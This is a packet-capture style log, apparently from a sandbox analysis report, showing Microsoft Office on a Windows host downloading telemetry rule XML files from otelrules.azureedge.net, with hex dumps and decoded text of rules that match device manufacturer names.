2024-11-20 02:21:37 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.8	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:37 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022137Z-1777c6cb7542p5p4hC1TEBq09800000008zg000000008c3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:37 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.8	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:37 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022137Z-1777c6cb754g9zd5hC1TEBfvpw000000090000000000nr1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:37 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.8	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:37 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:37 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: e8aec935-001e-0046-54a1-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022137Z-185f5d8b95c95vpshC1NYC759c00000009q0000000001t7b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:37 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.8	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:38 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:38 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022138Z-1777c6cb7544nvmshC1TEBf7qc00000008u0000000006u3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:38 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.8	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:38 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022138Z-185f5d8b95cf7qddhC1NYC66an00000009n000000000k446 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.8	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:38 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022138Z-185f5d8b95c4bhwphC1NYCs8gw00000009tg0000000058zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.8	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:38 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022138Z-1777c6cb754dqb2khC1TEBmk1s00000008u000000000qwfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.8	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:38 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:38 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022138Z-r1d97b9957744xz5hC1TEB5bf8000000081g00000000ga2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:38 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.8	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:39 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:39 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022139Z-185f5d8b95csd4bwhC1NYCq7dc00000009m0000000004dyv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.8	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:39 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:39 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022139Z-r1d97b99577n5jhbhC1TEB74vn000000084000000000gbyz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.8	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:39 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022139Z-185f5d8b95c4vwv8hC1NYCy4v400000009s000000000b3tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.8	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:39 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
